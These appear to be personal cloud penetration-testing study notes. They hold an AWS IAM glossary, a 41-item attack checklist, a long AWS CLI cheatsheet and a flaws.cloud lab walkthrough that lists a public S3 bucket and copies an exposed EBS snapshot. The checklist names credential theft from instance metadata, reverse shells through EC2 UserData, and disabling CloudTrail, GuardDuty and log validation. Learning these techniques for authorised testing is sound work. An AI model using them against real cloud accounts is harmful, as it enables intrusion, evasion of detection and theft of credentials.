icmp.checksum icmp.ident icmp.seq icmp.checksum_bad icmp.mtu icmp.type icmp.code icmp.redir_gw DTP dtp.neighbor dtp.tlv_type vtp.neighbor dtp.tlv_len dtp.version VTP vtp.code vtp.vlan_info.802_10_index vtp.conf_rev_num vtp.vlan_info.isl_vlan_id vtp.followers vtp.vlan_info.len vtp.md vtp.vlan_info.mtu_size vtp.md5_digest vtp.vlan_info.status.vlan_susp vtp.md_len vtp.vlan_info.tlv_len vtp.seq_num vtp.vlan_info.tlv_type vtp.start_value vtp.vlan_info.vlan_name vtp.upd_id vtp.vlan_info.vlan_name_len vtp.upd_ts vtp.vlan_info.vlan_type vtp.version ``` # Cloud Pentesting My notes will be a bit hap-hazard until I get my head around pentesting the cloud | **account** |

A formal relationship with AWS that is associated with all of the following:

  • The owner email address and password
  • The control of resources created under its umbrella
  • Payment for the AWS activity related to those resources
| | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **allow** | One of two possible outcomes (the other is deny) when an IAM access policy is evaluated. When a user makes a request to AWS, AWS evaluates the request based on all permissions that apply to the user and then returns either allow or deny. | | `AssumeRolePolicy` | A synonym for the Trust policy. | | **group** | A collection of IAM users. You can use IAM groups to simplify specifying and managing permissions for multiple users. | | `NotAction` | An advanced policy element that explicitly matches everything except the specified list of actions. | | **permission** | A statement within a policy that allows or denies access to a particular resource. You can state any permission like this: "A has permission to do B to C." For example, Jane (A) has permission to read messages (B) from John's Amazon SQS queue (C). Whenever Jane sends a request to Amazon SQS to use John's queue, the service checks to see if she has permission. It further checks to see if the request satisfies the conditions John set forth in the permission. | | **policy** | For IAM: A document defining permissions that apply to a user, group, or role; the permissions in turn determine what users can do in AWS. A policy typically allows access to specific actions, and can optionally grant that the actions are allowed for specific resources, like EC2 instances, Amazon S3 buckets, and so on. Policies can also explicitly deny access. | | **principal** | The user, service, or account that receives permissions that are defined in a policy. The principal is A in the statement "A has permission to do B to C." | | **resource** | An entity that users can work within AWS, such as an EC2 instance, an Amazon DynamoDB table, an Amazon S3 bucket, an IAM user, an AWS OpsWorks stack, and so on. | | **role** | A tool for giving temporary access to AWS resources in your AWS account. | | **Trust policy** | An IAM policy that is an inherent part of an IAM role. The trust policy specifies which principals are allowed to use the role. (Synonym for `AssumeRolePolicy`). | | **user** | A person or application under an account that needs to make API calls to AWS products. Each user has a unique name within the AWS account, and a set of security credentials not shared with other users. These credentials are separate from the AWS account's security credentials. Each user is associated with one and only one AWS account. | | **versioning** | Every object in Amazon S3 has a key and a version ID. Objects with the same key, but different version IDs can be stored in the same bucket. Versioning is enabled at the bucket layer using PUT Bucket versioning. | ## AWS Penetration Testing Checklist 1-Test for Unauthenticated Bucket Access 2-Test for Semi-Public Bucket access - Improper AC permission 3-Targeting and compromising AWS Access keys in git commit 4-Test for Extracting keys from an EC2 instance 5-Exploiting AWNS Security Misconfigurations 6-Testing to exploit EZ instance 7-Exploiting Internal AWS Services using Lambda backdoors 8-Test for Subdomain Takeover 9-Testing for AWS tam Privilege Escalation 10-Test for RCE attack 11-Test for AWS Role Enumeration(IAM) 12-Test for EC2 service to exploit privilege escalation 13-Test for AWS am enumeration : Bypassing CloudTratl Logging 14-Test for BitBuckted Server data for credentials in AWS 15-DNS rebinding to compromise the cloud environment 16-Test for Change of local windows / Linux logs 17-Test to Create jobs or serverless actions to add root certificates and ssh private keys to machines and users (such as AWS lambda) 18-Test to Create an additional interface / assign an IP address in target network / subnet on a compromised machine (ltke assigning a secondary private IPv4 address or interface to an AWS EC2 instance 19-Steal virtual machine images from storage accounts, analyze them for passwords, keys and certificates to access live systems (like VM VHD snapshots from storage accounts) 20-Test to Gain OS level access to Instances/VMs via workload management service privileges (AWS SSM) 21-Create systems management commands or abuse instance metadata for scheduled and triggered command and control (ANS systems manager, modify EC2 UserData to trigger a reverse shell) 22-Test to Run or deploy a workload with an assigned/passed service or role, export instance credentials for those privileges (such as EC2 passed role and meta credentials) 23-Fingerprint server and application versions and frameworks, detect sensitive PI in application logs 24-Test for CV injection in ANS CloudTratl 25-Tested for AWS secrets accessible via meta-data 26-Attempt load balancer MiTM for session hijacking (elb) by cloud service configuration or load balancer instance compromise 27-Steal credentials from metadata of proxy or http forwarding servers (credentials in AWS meta 28-Steal cloud workload credentials (ANS metadata sts or Azure Linux Agent (waagent) folder credentials) 29-Steal credentials from or leverage privilege to operation of a cloud key service (aws kms, azure key vault 30-Alter data in datastore for fraudulent transactions or static website compromise (s3, rds, redshift) 31-Alter a serverless function, logic app or otherwise a business logic implementation for action on objective or escalation (ANS lambda orAzure logic apps) 32-Alter data in local sql or mysql databases 33-Operate in regions where logging is not enabled or disable global logging (like CloudTrail) 34-Alter log files in a non-validated log store or disable validation (like cloud trail log validation) 35-Tesed for Disable network traffic analysis / logging (VPC flowlogs) 36-Tesed for Disable cloud alerting to prevent detection and response (like cloudwatch alerts, GuardDuty, Security Hub, or Azure Security Center) 37-Tesed for Disable data store access logging to prevent detection and response (cloudtratn data access, s3 access logging, redshift user activity) 38-Alter log retention or damage the integrity of logs (s3 lifecycle, kms decryption cmk key deletton/role privilege lockout) 39-Process hooking, process injection, windows access token manipulation, leveraging misconfigured sudo capabilities 40-Test to Create or reset a login, access key or temporary credential belonging to a high privilege user (like tam: CreateAccesskey, sts or tam:UpdateLoginProftle) 41-Test to Change the default policy for a user or new users to include additional privileges (like setdefault-policy-verston) @ Tushar Verma ## PACU Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. Created and maintained by Rhino Security Labs, Pacu allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more. ``` python3 pacu.py set_keys ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MXgnanwotbuKTX4gcfg%2F-MXguEv2cUjefv5atZPG%2Fimage.png?alt=media\&token=1e7ddfc9-7508-4751-a583-c88231bd3fb0) Enumerate IAM entities using the `iam__enum_users_roles_policies_groups` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MXgnanwotbuKTX4gcfg%2F-MXgvjkBzTDS3Dlz0DLf%2Fimage.png?alt=media\&token=1d663c42-a635-4cf4-b6ea-64e5ea71e704) This is the future of pentesting in my opinion and there is not a lot of courses/material covering this area. I'll endeavor to add updates when I know more. ## CloudEnum Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud. ``` https://github.com/initstring/cloud_enum ``` ## What is Cloud Pen Testing and why is it different? ``` https://www.youtube.com/watch?v=lOhvIooWzOg&feature=youtu.be ``` ``` sts get-caller-identity (whoami?) iam list-groups-for-user (what groups am I a part of?) iam list-group-policies (what policies are attached to those groups?) iam get-policy (what statements compose these policies?) iam get-policy-version (what statements compose these policies?) iam list-user-policies (what are the inline policies for this user?) iam get-user-policy (what statements compose these policies?) iam list-attached-user-policies (what policies are attached to this user?) ``` ## Tools [**actions2aws**](https://github.com/glassechidna/actions2aws) \ Assume AWS IAM roles from GitHub Actions workflows with no stored secrets.\ \ [**rpCheckup**](https://github.com/goldfiglabs/rpCheckup) \ rpCheckup is an AWS resource policy security checkup tool that identifies public, external account access, intra-org account access, and private resources.\ \ [**policy-compliance-scan**](https://github.com/Azure/policy-compliance-scan) \ A GitHub action that scans Azure resources for policy violations. [**iamlive**](https://github.com/iann0036/iamlive)\ Generate basic AWS IAM policies using client-side monitoring of calls made from the AWS CLI or SDKs.\ \ [**iam-role-enumeration**](https://gist.github.com/kmcquade/4d5788f8592953f5a3a65ec3f87385b4)\ Another way to enumerate AWS IAM users/roles without being authenticated to the victim account.\ \ [**cloudlist**](https://github.com/projectdiscovery/cloudlist)\ Cloudlist is a tool for listing Assets (Hostnames, IP Addresses) from multiple Cloud Providers.\ \ [**kctf**](https://github.com/google/kctf)\ kCTF is a Kubernetes-based infrastructure for CTF competitions. # SQL vs NoSQL Cheetsheet Cloud ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LSy0aAo8OKT4I-Ahftv%2Fuploads%2FMOSvdy46A7bRspBWL47x%2Fimage.png?alt=media\&token=93324527-36ed-44d2-b308-1309b25c923e) # AWS cli cheatsheet ### Section 1: General aws \[options] \[parameters] Options: ## Turn on debug logging. \--debug (boolean) ## Override command's default URL with the given URL. \--endpoint-url (string) ## By default, the AWS CLI uses SSL when communicating with AWS services. For each SSL connection, the AWS CLI will verify SSL certificates. This option overrides the default behavior of verifying SSL certificates. \--no-verify-ssl (boolean) ## Output format \--output (json/text/table) ## A JMESPath query to use in filtering the response data. \--query (string) ## Use a specific profile from your credential file. \--profile (string) ## The region to use. Overrides config/env settings. \--region (string) ## Display the version of this tool. \--version (string) ### Section 2: Configure Configures AWS CLI with AWS access keys. aws configure ### Section 3: IAM ## Lists all the iam users. aws iam list-users ## Lists all the iam groups. aws iam list-groups ## Lists all the iam roles. aws iam list-roles ## Lists all the iam policies. aws iam list-policies ## Creates an IAM user in the current account. aws iam create-user --user-name ## Creates an IAM group in the current account. aws iam create-group --group-name ## Creates an IAM role in the current account. aws iam create-role --role-name --assume-role-policy-document file:// ## Creates an IAM policy in the current account. aws iam create-policy --policy-name --policy-document file:// ## Lists policies attached to the group. aws iam list-attached-group-policies --group-name ## Lists policies attached to the role. aws iam list-attached-role-policies --role-name ## Lists policies attached to the user. aws iam list-attached-user-policies --user-name ## Lists managed policies attached to the group. aws iam list-group-policies --group-name ## Lists managed policies attached to the user. aws iam list-user-policies --user-name ## Lists managed policies attached to the role. aws iam list-role-policies --role-name ## Lists groups attached to the user. aws iam list-groups-for-user --user-name ## Lists signing certificates for the user. aws iam list-signing-certificates --user-name ## Lists public ssh keys for the user. aws iam list-ssh-public-keys --user-name ## Lists all virtual-mfa devices present. aws iam list-virtual-mfa-devices ## Retrieves information about the specified managed policy aws iam get-policy --policy-arn --version-id ## Retrieves information about the specified version of the specified managed policy, including the policy document. aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v2 ## Retrieves information about the specified IAM user. aws iam get-user --user-name ## Retrieves information about the specified role. aws iam get-role --role-name ## Retrieves information about the specified group. aws iam get-group --group-name ## Retrieves the specified inline policy document that is embedded in the specified IAM user. aws iam get-user-policy --user-name --policy-name ## Retrieves the specified inline policy document that is embedded with the specified IAM role. aws iam get-role-policy --role-name --policy-name ## Retrieves the specified inline policy document that is embedded with the specified IAM group. aws iam get-group-policy --group-name --policy-name ## Attaches the specified managed policy to the specified IAM group. aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --group-name Finance ## Attaches the specified managed policy to the specified IAM role. aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --role-name ReadOnlyRole ## Attaches the specified managed policy to the specified user. aws iam attach-user-policy --policy-arn arn:aws:iam:ACCOUNT-ID:aws:policy/AdministratorAccess --user-name Alice ## Creates a password for the specified IAM user. aws iam create-login-profile --user-name --password ## Retrieves the username and password creation date for the specified IAM user. aws iam get-login-profile --user-name ## Lists the instance profiles that have the specified path prefix. aws iam list-instance-profiles ## Retrieves information about the specified instance profile, including the instance profile's path, GUID, ARN, and role. aws iam get-instance-profile --instance-profile-name ExampleInstanceProfile ## Adds or updates an inline policy document that is embedded in the specified IAM group. aws iam put-group-policy --group-name --policy-document file:// --policy-name ## Adds or updates an inline policy document that is embedded in the specified IAM role. aws iam put-role-policy --role-name --policy-name --policy-document file:// ## Adds or updates an inline policy document that is embedded in the specified IAM user. aws iam put-user-policy --user-name --policy-name --policy-document file:// ## Removes the specified user from the specified group. aws iam remove-user-from-group --user-name Bob --group-name Admins ## Updates the name and/or the path of the specified IAM group. aws iam update-group --group-name Test --new-group-name Test-1 ### Section 4: API Gateway ## Gets information about the current Account resource. aws apigateway get-account ## Lists the RestApis resources for your collection. aws apigateway get-rest-apis ## Lists the RestApi resource in the collection. aws apigateway get-rest-api ## Gets information about the current ApiKeys resource. aws apigateway get-api-keys ## Gets information about the current ApiKey resource. aws apigateway get-api-key --api-key ## Describe an existing Method resource. aws apigateway get-method --rest-api-id --http-method --resource-id ## Describes a MethodResponse resource. aws apigateway get-method-response --rest-api-id --resource-id --http-method --status-code ## Describe an existing Authorizers resource. aws apigateway get-authorizers --rest-api-id ## Describe an existing Authorizer resource. aws apigateway get-authorizer --rest-api-id --authorizer-id ## Gets a collection of ClientCertificate resources. aws apigateway get-client-certificates ## Lists information about a collection of Resource resources. aws apigateway get-resources --rest-api-id ## Lists information about a resource. aws apigateway get-resource --rest-api-id --resource-id ## Gets a collection of ClientCertificate resources. aws apigateway get-client-certificates ## Gets information about the current ClientCertificate resource. aws apigateway get-client-certificate --client-certificate-id ## Get the integration settings. aws apigateway get-integration --rest-api-id --resource-id --http-method ## Represents a get integration response. aws apigateway get-integration-response --rest-api-id --resource-id --http-method --status-code 200 ## Gets all the usage plans of the caller's account. aws apigateway get-usage-plans ## Gets a usage plan of a given plan identifier. aws apigateway get-usage-plan --usage-plan-id ## Gets all the usage plan keys representing the API keys added to a specified usage plan. aws apigateway get-usage-plan-keys --usage-plan-id ## Gets a usage plan key of a given key identifier. aws apigateway get-usage-plan-key --usage-plan-id --key-id ## Add a method to an existing Resource resource. aws apigateway put-method --rest-api-id --resource-id --http-method --authorization-type "NONE" --no-api-key-required --request-parameters "method.request.header.custom-header=false" ## updates an existing API with an input of external API definitions. aws apigateway put-rest-api --rest-api-id --mode overwrite --body 'file:///' ## Create an ApiKey resource. aws apigateway create-api-key --name '' --description '' --enabled --stage-keys restApiId='',stageName='' ## Creates a new RestApi resource. aws apigateway create-rest-api --name '' --description '' ## Changes information about an ApiKey resource. aws apigateway update-api-key --api-key ## Changes information about the specified API. aws apigateway update-rest-api --rest-api-id ### Section 5: Lambda ## Returns a list of aliases for a Lambda function. aws lambda list-aliases --function-name ## Returns details about a Lambda function alias. aws lambda get-alias --function-name --name ## Returns a list of Lambda functions, with the version-specific configuration of each. aws lambda list-functions ## Returns information about the function or function version. aws lambda get-function --function-name ## Returns the resource-based IAM policy for a function, version, or alias. aws lambda get-policy --function-name ## Lists AWS Lambda layers and shows information about the latest version of each. aws lambda list-layers ## Returns information about a version of an AWS Lambda layer. aws lambda get-layer-version --layer-name --version-number ## Returns information about a version of an AWS Lambda layer aws lambda get-layer-version-by-arn --arn ## Returns the permission policy for a version of an AWS Lambda layer. aws lambda get-layer-version-policy --layer-name --version-number ## Lists event source mappings. aws lambda list-event-source-mappings ## Invokes a Lambda function. aws lambda invoke --function-name ## Retrieves details about your account's limits and usage in an AWS Region. aws lambda get-account-settings ## Returns a list of code signing configurations. aws lambda list-code-signing-configs ## Returns information about the specified code signing configuration. aws lambda get-code-signing-config --code-signing-config-arn ## Returns a list of versions , with the version-specific configuration of each. aws lambda list-versions-by-function --function-name ## Creates a Lambda function. aws lambda create-function --function-name --runtime --zip-file fileb:// --handler evil.handler --role ## Creates an alias for a Lambda function version. aws lambda --function-name --name --function-version ## Creates an AWS Lambda layer from a ZIP archive. aws lambda publish-layer-version --layer-name ## Creates a version from the current code and configuration of a function. aws lambda publish-version --function-name ## Updates the configuration of a Lambda function alias. aws lambda update-alias --function-name ## Updates an event source mapping. aws lambda update-event-source-mapping --uuid ## Deletes a Lambda function alias. aws lambda delete-alias --function-name --name ## Deletes a Lambda function. aws lambda delete-function --function-name ## Deletes a version of an AWS Lambda layer. aws lambda delete-layer-version --layer-name --version-number ## Deletes an event source mapping. aws lambda delete-event-source-mapping --uuid ### Section 6: Databases ### RDS: ## Returns a list of the available DB engines. aws rds describe-db-engine-versions ## Lists all of the attributes for a customer account. aws rds describe-account-attributes ## Returns information about provisioned Aurora DB clusters. aws rds describe-db-clusters ## Returns a list of DBClusterParameterGroup descriptions. aws rds describe-db-cluster-parameter-groups ## Returns the detailed parameter list for a particular DB cluster parameter group. aws rds describe-db-cluster-parameters --db-cluster-parameter-group-name ## Returns information about DB cluster snapshots. aws rds describe-db-cluster-snapshots ## Returns a list of DB cluster snapshot attribute names and values for a manual DB cluster snapshot. aws rds describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier ## Returns information about provisioned RDS instances. aws rds describe-db-instances ## Returns a list of DBSecurityGroup descriptions. aws rds describe-db-security-groups ## Returns a list of DBSubnetGroup descriptions. aws rds describe-db-subnet-groups ## Lists the set of CA certificates provided by Amazon RDS for this AWS account. aws rds describe-certificates ## Returns information about endpoints for an Amazon Aurora DB cluster. aws rds describe-db-cluster-endpoints ## Returns events related to DB instances, DB clusters, DB parameter groups, DB security groups, DB snapshots, and DB cluster snapshots aws rds describe-events ## Returns a list of the source AWS Regions where the current AWS Region can create a read replica, copy a DB snapshot from, or replicate automated backups from. aws rds describe-source-regions ## Returns a list of DB log files for the DB instance. aws rds describe-db-log-files --db-instance-identifier ## Modifies an existing option group. aws rds add-option-to-option-group --option-group-name ## Associates an Identity and Access Management (IAM) role from an Amazon Aurora DB cluster. aws rds add-role-to-db-cluster --db-cluster-identifier ## Creates a new Amazon Aurora DB cluster. aws rds create-db-cluster --db-cluster-identifier --engine ## Creates a new DB instance. aws rds create-db-instance --db-cluster-identifier --engine --db-instance-class ## Creates a snapshot of a DB instance. aws rds create-db-snapshot --db-snapshot-identifier --db-instance-identifier ## Creates a new DB subnet group. aws rds create-db-subnet-group --db-subnet-group-name --db-subnet-group-description --subnet-ids ## Override the system-default Secure Sockets Layer/Transport Layer Security (SSL/TLS) certificate for Amazon RDS for new DB instances temporarily. aws rds modify-certificates --certificate-identifier ## Modify a setting for an Amazon Aurora DB cluster. aws rds modify-db-cluster --db-cluster-identifier ## Modifies settings for a DB instance. aws rds modify-db-instance --db-instance-identifier ## Updates a manual DB snapshot with a new engine version. aws rds modify-db-snapshot --db-snapshot-identifier --engine-version ## Creates a new DB cluster from a DB snapshot or DB cluster snapshot. aws rds restore-db-cluster-from-snapshot --db-cluster-identifier --snapshot-identifier --engine ## Stops an Amazon RDS DB instance. aws rds stop-db-instance --db-instance-identifier ### Document DB: ## Creates a new Amazon DocumentDB cluster. aws docdb create-db-cluster --db-cluster-identifier --db-cluster-identifier --engine --master-username --master-user-password --preferred-maintenance-window ## Creates a new DB instance. aws docdb create-db-instance --db-cluster-identifier --engine --db-instance-class ## Returns information about provisioned DocumentDB instances. aws docdb describe-db-instances ## Returns information about provisioned Amazon DocumentDB clusters. aws rds describe-db-clusters ## Returns a list of DBClusterParameterGroup descriptions. aws docdb describe-db-cluster-parameter-groups ## Returns the detailed parameter list for a particular DB cluster parameter group. aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ## Returns information about DB cluster snapshots. aws docdb describe-db-cluster-snapshots ## Returns a list of DB cluster snapshot attribute names and values for a manual DB cluster snapshot. aws docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier ## Returns a list of the available engines. aws docdb describe-db-engine-versions ## Returns a list of DBSubnetGroup descriptions. aws docdb describe-db-subnet-groups ## Returns events related to DB instances, DB clusters, DB parameter groups, DB security groups, DB snapshots, and DB cluster snapshots. aws docdb describe-events ### DynamoDB: ## To perform batch reads and writes on data stored in DynamoDB. aws dynamodb batch-execute-statement --statements ## The BatchGetItem operation returns the attributes of one or more items from one or more tables. aws dynamodb batch-get-item --request-items ## Puts or deletes multiple items in one or more tables. aws dynamodb batch-write-item --request-items ## Adds a new table to your account. In an AWS account. aws dynamodb create-table --attribute-definitions --table-name --key-schema ## Describes an existing backup of a table. aws dynamodb describe-backup --backup-arn ## Returns information about the table, including the current status of the table. aws dynamodb describe-table --table-name ## Returns the current provisioned-capacity quotas for your AWS account in a Region. aws dynamodb describe-limits ## This operation allows you to perform reads and singleton writes on data stored in DynamoDB. aws dynamodb execute-statement --statement ## This operation allows you to perform transactional reads or writes on data stored in DynamoDB. aws dynamodb execute-transaction --transact-statements ## The GetItem operation returns a set of attributes for the item with the given primary key. aws dynamodb get-item --table-name --key ## List backups associated with an AWS account. aws dynamodb list-backups ## Lists completed exports within the past 90 days. aws dynamodb list-exports ## Returns an array of table names associated with the current account and endpoint. aws dynamodb list-tables ## Creates a new item, or replaces an old item with a new item. aws dynamodb put-item --table-name --item ## Creates a new table from an existing backup. aws dynamodb restore-table-from-backup --target-table-name --backup-arn ## Returns one or more items and item attributes by accessing every item in a table aws dynamodb scan --table-name ## Edits an existing item's attributes, or adds a new item to the table if it does not already exist. aws dynamodb update-item --table-name --key ## Modifies the provisioned throughput settings, global secondary indexes, or DynamoDB Streams settings for a given table. aws dynamodb update-table --table-name ### Section 6: S3 ## Copies a local file or S3 object to another location locally or in S3. aws s3 cp or or ## List S3 objects and common prefixes under a prefix or all S3 buckets. aws s3 ls ## Creates an S3 bucket. aws s3 mb ## Moves a local file or S3 object to another location locally or in S3. aws s3 mv or or ## Generate a pre-signed URL for an Amazon S3 object. aws s3 presign ## Deletes an empty S3 bucket. aws s3 rb ## Deletes an S3 object. aws s3 rm ## Syncs directories and S3 prefixes. aws s3 sync or or ## Set the website configuration for a bucket. aws s3 website ## List buckets. aws s3api list-buckets ## List bucket objects. aws s3api list-objects --bucket ## Retrieves bucket location. aws s3api get-bucket-location --bucket ## Returns some or all (up to 1,000) of the objects in a bucket. aws s3api list-objects-v2 --bucket data-extractor-repo ## List object versions. aws s3api list-object-versions --bucket ## Return the ACL of the bucket. aws s3api get-bucket-acl --bucket ## Returns the cors configuration information set for the bucket. aws s3api get-bucket-cors --bucket ## Returns the logging status of a bucket and the permissions users have to view and modify that status. aws s3api get-bucket-logging --bucket ## Retrieves the policy status for an Amazon S3 bucket. aws s3api get-bucket-policy-status --bucket ## Returns the policy of a specified bucket. aws s3api get-bucket-policy --bucket ## Retrieves OwnershipControls for an Amazon S3 bucket. aws s3api get-bucket-ownership-controls --bucket ## Retrieves objects from Amazon S3. aws s3api get-object --bucket --key ## Returns the access control list (ACL) of an object. aws s3api get-object-acl --bucket --key ## Returns the tag-set of an object. aws s3api get-object-tagging --bucket --key ## Retrieves the PublicAccessBlock configuration for an Amazon S3 bucket. aws s3api get-public-access-block --bucket ## Sets the permissions on an existing bucket using access control lists (ACL). aws s3api put-bucket-acl --bucket --access-control-policy file:// ## Sets the cors configuration for the bucket. aws s3api put-bucket-cors --bucket --cors-configuration ## Applies an Amazon S3 bucket policy to an Amazon S3 bucket. aws s3api put-bucket-policy --bucket --policy file:// ## Use tags to organize your AWS bill to reflect your own cost structure. aws s3api put-bucket-tagging --bucket --tagging ## Adds an object to a bucket. aws s3api put-object --bucket --key --body ## Uses the acl subresource to set the access control list (ACL) permissions for a new or existing object for s3 bucket. aws s3api put-object-acl --bucket --key --access-control-policy file:// ## Sets the supplied tag-set to an object that already exists in a bucket. aws s3api put-object-tagging --bucket --key --tagging ## Creates or modifies OwnershipControls for an Amazon S3 bucket. aws s3api put-bucket-ownership-controls --bucket --ownership-controls ## Creates a copy of an object that is already stored in Amazon S3. aws s3api copy-object --bucket --copy-source --key ## Creates a new S3 bucket. aws s3api create-bucket --bucket ## Deletes the S3 bucket. aws s3api delete-bucket --bucket ## Deletes the S3 bucket cors configuration information set. aws s3api delete-bucket-cors --bucket ## Delete the policy of a specified bucket. aws s3api delete-bucket-policy --bucket ## Deletes the tags from the bucket. aws s3api delete-bucket-tagging --bucket ## Removes the null version (if there is one) of an object and inserts a delete marker. aws s3api delete-bucket-tagging --bucket --key ## Delete multiple objects from a bucket using a single HTTP request. aws s3api delete-bucket-tagging --bucket --delete file:// ## Removes OwnershipControls for an Amazon S3 bucket. aws s3api delete-bucket-ownership-controls --bucket # Tools to install Scan for s3 bucket misconfigurations ``` https://github.com/nikhil1232/Bucket-Flaws ``` # Enumeration Check if the resolved domain contains the word "website". You can access the static website at: `flaws.cloud.s3-website-us-west-2.amazonaws.com` or the bucket at: `flaws.cloud.s3-us-west-2.amazonaws.com`. If you try to access a bucket but specify a different region in the domain name (for example, the bucket is in `bucket.s3.amazonaws.com` but you are trying to access `bucket.s3-website-us-west-2.amazonaws.com`), you will be redirected to the correct location. Test to see if a website is hosted in an s3 bucket ``` dig +nocmd flaws.cloud any +multiline +noall +answer ``` ![get IP address](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MbRr5ZAB0-6hCPGmnP8%2F-MbRrxzalmQgxb99Mk08%2Fimage.png?alt=media\&token=11a5eb72-318d-46bb-81b9-e3ca040cc792) Put IP in browser - it will redirect to AWS console s3 page. Run `nslookup` on the IP to get the AWS s3 website ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MbRsD5DECUeId3AeP69%2F-MbRtHKgMqQJM3ohTYwg%2Fimage.png?alt=media\&token=a03fb612-60a1-43bc-810d-592ff92ce1d6) {% hint style="success" %} The site `flaws.cloud` is hosted as an S3 bucket. This is a great way to host a static site, similar to hosting one via github pages. Some interesting facts about S3 hosting: When hosting a site as an S3 bucket, the bucket name (`flaws.cloud`) must match the domain name (`flaws.cloud`). Also, S3 buckets are a global name space, meaning two people cannot have buckets with the same name. The result of this is you could create a bucket named apple.com and Apple would never be able host their main site via S3 hosting. {% endhint %} ### Check for common s3 bucket misconfigurations ``` /bucketflaws.sh -u flaws.cloud -o -p -d ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MbRtTA7H7ySpG8BAWpN%2F-MbSn5q_GK6p3fp66UKN%2Fimage.png?alt=media\&token=85d24d9d-7e28-4b4e-a9a2-b8f93703fa25) Using the AWS cli ``` aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2 ``` Will list the files in the bucket You can also list the files by going to ![S3 bucket with "Everyone" having "List" permissions](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MbRtTA7H7ySpG8BAWpN%2F-MbT0-JjJd7RiWoDGhDp%2Fimage.png?alt=media\&token=7ad77615-bcc5-4683-8f21-e65bef4d2ae6) ### Different Types of Access Keys `AKIAJ366LIPB4IJKT7SA` = long term access key - note the **AKIA** `ASIAJ366LIJGULDN21D` = session access key - note the **ASIA** ### Get Snapshots AWS allows you to take snapshots of EC2 and databases (RDS). The main purpose for this is to create backup copies, but sometimes users use snapshots to regain access to their own EC2s if they forget passwords. {% hint style="success" %} AWS allows you to take snapshots of EC2 and databases (RDS). The main purpose for this is to create backups, but sometimes people use snapshots to regain access to their own EC2s if they forget passwords. This also allows attackers to get access to things. Snapshots are usually limited to your own account. So a possible attack would be for an attacker to get access to an AWS key that allows them to start/stop EC2s and do other things to EC2s, and then use that to take a snapshot of an EC2 and start an EC2 with that volume in your environment to gain access to it. As with all backups, you need to be careful to protect them. {% endhint %} Look for snapshots that this user has access to (note the `SnapshotId`): {% hint style="info" %} remember to include the --owner-id else you will get a lot of output that is not relevant {% endhint %} ``` aws ec2 describe-snapshots --profile flaws3 --owner-id 975426262029 --region us-west-2 ``` ![get SnapshotId](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MbVWEgw3pFEVDuXINW5%2F-MbVbutRXtpLaoCrPU-d%2Fimage.png?alt=media\&token=672c63bd-dd60-421c-bb6a-22ca997b5db0) ``` aws ec2 create-volume --profile default --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` ![launch an ec2 instance and attach the volume](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MbVcBh3P1oVMJ0zwMrU%2F-MbWE8EsOydh0VDRM7qw%2Fimage.png?alt=media\&token=ae73ab3c-23c2-4308-91e8-97ebaecbda57) run `lsblk` to see if disk is attached ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MbVcBh3P1oVMJ0zwMrU%2F-MbWETyEXJuPoU4yCk9q%2Fimage.png?alt=media\&token=ee63d628-ae3d-44c7-9883-5152b81425b5) Then run sudo mount `/dev/xvdf1 /mnt` to mount the drive, browse to `/mnt` to view snapshot disk # Cloudgoat When setting up cloudgoat you have to add your `iamadmin` keys to variables before running a script like this which uses terraform`./cloudgoat.py create codebuild_secrets` ``` export AWS_ACCESS_KEY_ID="SDFKLJSDFLDSFL" export AWS_SECRET_ACCESS_KEY="DKLSJDFSJDFS" export AWS_DEFAULT_REGION="us-east-1" ``` # Linux Take your time. Don't try to do too much at once. Remember small steps - don't try to jump to root using rshell. Maybe run a few commands to see what they do ``` Once you've found the patch to escalation click here: https://github.com/Ignitetechnologies/Privilege-Escalation ``` ![Linux File System](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-Lclsjdr31KmL-x6CJ73%2F-Lclso6IyF_tzKC3TMmU%2Flinux.png?alt=media\&token=dd64e201-db33-4037-9708-bb8dabd5b35e) ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LdoA0qvD1vdmmeoxPsn%2F-LdoA4RiAvUY9o9MuwWr%2Fimage.png?alt=media\&token=8c1fe885-bfb2-4eb2-9e23-43281cf7adcf) 